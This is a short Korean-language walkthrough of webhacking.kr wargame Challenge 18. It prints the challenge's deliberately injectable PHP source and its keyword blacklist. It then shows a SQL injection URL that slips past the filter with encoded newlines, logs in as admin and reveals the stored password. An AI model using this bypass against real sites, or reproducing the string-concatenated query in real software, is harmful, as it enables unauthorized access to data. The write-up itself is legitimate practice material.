B1ackZer0 2011.04.04

다음과 같은 폼이 보이며 sql injection이라고 친절히 알려준다.

SQL INJECTION



index.phps

index.phps로 소스를 보자.

SQL INJECTION

쿼리 전송

index phps

```
아래는 index.phps로 본 소스이다.
<html>
<head>
<title>Challenge 18</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?
if($_GET[no])
{
```

```
$pw="????";
if(eregi(" |/|\(|\)|\t||\&|union|select|from|0x",\$\_GET[no])) \ exit("no \ hack");\\
$q=@mysql_fetch_array(mysql_query("select id from challenge18_table where id='guest'
and no=$_GET[no]"));
if($q[0]=="guest") echo ("hi guest");
if($q[0]=="admin") echo ("hi admin<br><br>password is $pw");
/*
challenge18_table
          id
no
1
         guest
         admin
*/
}
?>
<br><br><a href=index.phps>index.phps</a>
</body>
</html>
1을 넣고 쿼리를 전송해보자.
```

SQL INJECTION

1 쿼리전송

index.phps

소스를 봤으면 알겠지만 guest로 로그인이 된다.

SQL INJECTION

쿼리 전송
hi guest
index.phps

1을 넣었을때의 url이다.

http://webhacking.kr/challenge/web/web-32/index.php?no=1

eregi로 필터링을 하는데, 필터링을 우회하기위해 %0a(줄바꿈의 url)을 이용해 우회하였다.

http://webhacking.kr/challenge/web/web-32/index.php?no=2%0aor%0ano=2

admin으로 로그인이 됬고, 비밀번호를 알아내었다.

SQL INJECTION

쿼리 전송

hi admin

password is d6cebe51b9928e566ae840f9ec125043

index.phps